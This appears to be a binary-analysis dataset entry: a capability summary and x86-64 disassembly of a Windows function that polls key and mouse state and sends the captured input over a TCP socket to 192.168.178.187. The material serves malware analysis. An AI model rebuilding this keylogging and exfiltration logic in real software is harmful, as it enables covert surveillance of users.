Function at 0x140003950
Capabilities:
Act as tcp client
Check for time delay via queryperformancecounter
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Create thread
Initialize winsock library
Log keystrokes via polling
Send data
Send data on socket
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1d8]
sub rsp, 0x2c0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor r15d, r15d
mov qword [rbp - 0x50], send
mov qword [rbp - 0x48], send
movsd xmm0, qword [str.192.168.178.187]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x1400098c0]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400098c4]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400098c6]
mov byte [rbp - 0x52], al
mov byte [rbp - 0x51], r15b
mov ecx, 0x202
lea rdx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x140003a1c
lea rdx, str.WSAStartup_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
mov ebx, 2
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14000d0b8], rax
cmp rax, 0xffffffffffffffff
jne 0x140003a8a
lea rdx, str.Socket_creation_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x50], bx
mov ecx, 0x535
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x52], ax
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
lea r8, [rsp + 0x54]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rsp + 0x50]
mov rcx, qword [0x14000d0b8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140003b35
lea rdx, str.Connect_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000d0b8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400066e0
call fcn.140006190
mov ecx, 8
call fcn.140006d50
lea rcx, [0x1400025b0]
mov qword [rax], rcx
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140005fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140004129
cmp dword [rbp - 0x68], 0
je 0x14000411d
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000411d
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
mov ecx, 0x38
call fcn.140006d50
mov rbx, rax
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], r15
mov rcx, rax
call fcn.140001650
nop
mov qword [rsp + 0x48], rbx
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r14, r15
mov qword [rsp + 0x70], r15
mov ecx, 0x7a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rsi, qword [rsp + 0x60]
test ax, ax
js 0x14000403e
movsd xmm6, qword [0x140009a88]
movsd xmm7, qword [0x140009a80]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x140003c77
mov ecx, 0x56
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x140003c77
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x140003c84
test rbx, rbx
je 0x140003c84
mov rcx, rbx
call fcn.140001260
mov ecx, 0x56
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x140003eba
mov r8d, socket
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140001e20
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x140003d22
test rsi, rsi
je 0x140003cfd
sub r14, rsi
sar r14, 2
lea rdx, [r14*4]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003cf5
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004080
mov rcx, rsi
call fcn.140006d94
mov rsi, qword [rbx]
mov qword [rsp + 0x60], rsi
mov rax, qword [rbx + 8]
mov qword [rsp + 0x68], rax
mov r14, qword [rbx + 0x10]
mov qword [rsp + 0x70], r14
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140003d6a
mov rax, qword [rsp + 0x40]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004080
call fcn.140006d94
mov ecx, dword [rsi]
test ecx, ecx
jne 0x140003d75
cmp dword [rsi + 4], ecx
je 0x140003de4
mov eax, dword [rsi + 4]
mov dword [rbp + 0x170], ecx
mov dword [rbp + 0x174], eax
mov dword [rbp + 0x178], r15d
xor r9d, r9d
mov r8d, 0xc
lea rdx, [rbp + 0x170]
mov rcx, qword [0x14000d0b8]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140003de4
lea rdx, str.Send_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
call fcn.140001a70
test al, al
je 0x140003eb0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp - 0x40]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm6
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp - 0x80]
divsd xmm1, xmm0
comisd xmm1, xmm7
jbe 0x140003eb0
mov qword [rbp + 0x180], r15
mov dword [rbp + 0x188], 1
xor r9d, r9d
mov r8d, 0xc
lea rdx, [rbp + 0x180]
mov rcx, qword [0x14000d0b8]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140003ea6
lea rdx, str.Send_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rbx, qword [rsp + 0x48]
jmp 0x140004019
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x140004019
cvttsd2si r8d, qword [0x14000da30]
add r8d, 9
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140001e20
mov rdi, rax
lea rax, [rsp + 0x60]
cmp rax, rdi
je 0x140003f5f
test rsi, rsi
je 0x140003f3a
sub r14, rsi
sar r14, 2
lea rdx, [r14*4]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003f32
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004087
mov rcx, rsi
call fcn.140006d94
mov rsi, qword [rdi]
mov qword [rsp + 0x60], rsi
mov rax, qword [rdi + 8]
mov qword [rsp + 0x68], rax
mov r14, qword [rdi + 0x10]
mov qword [rsp + 0x70], r14
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140003fa7
mov rax, qword [rsp + 0x40]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fa2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004087
call fcn.140006d94
mov ecx, dword [rsi]
test ecx, ecx
jne 0x140003fb2
cmp dword [rsi + 4], ecx
je 0x140004019
mov eax, dword [rsi + 4]
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x58], r15d
xor r9d, r9d
mov r8d, 0xc
lea rdx, [rsp + 0x50]
mov rcx, qword [0x14000d0b8]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140004019
lea rdx, str.Send_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005500
mov rdi, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400056e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 0x78], 1
lea rcx, [rbp - 0x78]
call fcn.140005720
mov ecx, 0x7a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140003c41
call fcn.1400034c0
nop
test rsi, rsi
je 0x140004097
sub r14, rsi
sar r14, 2
lea rdx, [r14*4]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000408e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000408e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rsi
call fcn.140006d94
nop
cmp dword [rbp - 0x68], 0
je 0x1400040a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400040e2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d94
mov eax, 1
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140006d30
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x68], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3